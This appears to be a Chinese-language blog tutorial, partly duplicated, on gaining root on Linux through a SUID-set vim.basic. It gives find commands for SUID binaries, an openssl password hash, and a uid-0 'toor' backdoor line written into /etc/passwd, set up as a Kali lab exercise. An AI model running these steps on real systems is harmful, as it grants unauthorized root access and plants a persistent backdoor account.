系统安全:讲解Linux使用suid vim.basic文件实现提权
find / -user root -perm -4000 -print 2 /dev/null
find / -perm -u=s -type f 2 /dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
可用于提权的文件有
利用vim提权的思路是修改etc/passwd文件,为自己添加一个有root权限的用户
passwd文件用户格式为:用户名:密码:uid:gid:注释:home目录:用户的shell
这边可以看看root用户的格式
root:x:0:0:root:/root:/bin/bash
(密码这部分之所以是x,是因为真正的密码存在/etc/shadow文件里)
生成密码:用openssl passwd -1 –salt asd 123 (这里是-1(数字1)不是L)
直接写在passwd文件里面,
toor:$1$asd$sTMDZlRI6L.jJEw2I.3 8.:0:0:root:/toor:/bin/bash
用vim /etc/passwd可以修改,但是在保存是会出现E212,无法保存,提示我们没有权限修改这个
这时应该用之前find找到的vim.basic文件运行,这个程序是有suid权限的。绝对可以修改
vim.basic /etc/passwd
用这个打开,然后修改文件,就可以成功保存
可以看到已经添加了,su toor切换,密码123,再id查看一下权限
root权限
chmod u+s /usr/bin/vim.basic
在kali上复现
先给需要的vim.basic文件设置suid权限
chmod u+s /usr/bin/vim.basic
先adduser test1一个普通权限用户
现在就是一个合适的提权环境
通过以下命令可以找到存在suid权限的文件
find / -user root -perm -4000 -print 2 /dev/null
find / -perm -u=s -type f 2 /dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
可用于提权的文件有
利用vim提权的思路是修改etc/passwd文件,为自己添加一个有root权限的用户
passwd文件用户格式为:用户名:密码:uid:gid:注释:home目录:用户的shell
这边可以看看root用户的格式
root:x:0:0:root:/root:/bin/bash
(密码这部分之所以是x,是因为真正的密码存在/etc/shadow文件里)
生成密码:用openssl passwd -1 –salt asd 123 (这里是-1(数字1)不是L)
直接写在passwd文件里面,
toor:$1$asd$sTMDZlRI6L.jJEw2I.3 8.:0:0:root:/toor:/bin/bash
用vim /etc/passwd可以修改,但是在保存是会出现E212,无法保存,提示我们没有权限修改这个
这时应该用之前find找到的vim.basic文件运行,这个程序是有suid权限的。绝对可以修改
vim.basic /etc/passwd
用这个打开,然后修改文件,就可以成功保存
可以看到已经添加了,su toor切换,密码123,再id查看一下权限
root权限
chmod u+s /usr/bin/vim.basic
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。
我想要获取技术服务或软件
服务范围:MySQL、ORACLE、SQLSERVER、MongoDB、PostgreSQL 、程序问题
服务方式:远程服务、电话支持、现场服务,沟通指定方式服务
技术标签:数据恢复、安装配置、数据迁移、集群容灾、异常处理、其它问题
本站部分文章参考或来源于网络,如有侵权请联系站长。
数据库远程运维 系统安全:讲解Linux使用suid vim.basic文件实现提权
相关文章
- Linux下文件安全加密技术实现(linux下文件加密)
- Linux下编译C语言实现自动化(linux编译c代码)
- Linux建立超级用户:改变你的世界(linux建超级用户)
- Linux自动同步文件:极致便捷性(linux自动同步文件)
- Linux 串口编程:从零开始(linux串口代码)
- Linux中删除指定类型文件的方法(linux删除类型文件)
- Linux下链路聚合的实践(链路聚合linux)
- Linux文件类型与权限概述(linux文件的类型)
- 以Linux U盘启动系统:新的启动方式(linux的u盘启动)
- 轻松访问Linux系统:远程桌面Win连接LINUX(win远程linux)
- 探索Linux的分区奥秘(linux查看分区情况)
- 卸载Linux:安全终止文件系统(卸载linux文件系统)
- Linux下摄像头的秘密.(摄像头linux)
- 掌握Linux目录树,明确文件位置(linux目录树)
- “Linux 的可执行文件后缀名一览”(linux执行文件后缀)
- Linux下文件快速查询的方法(linux 文件查询)
- Linux文件复制与重命名指南(linux文件复制重命名)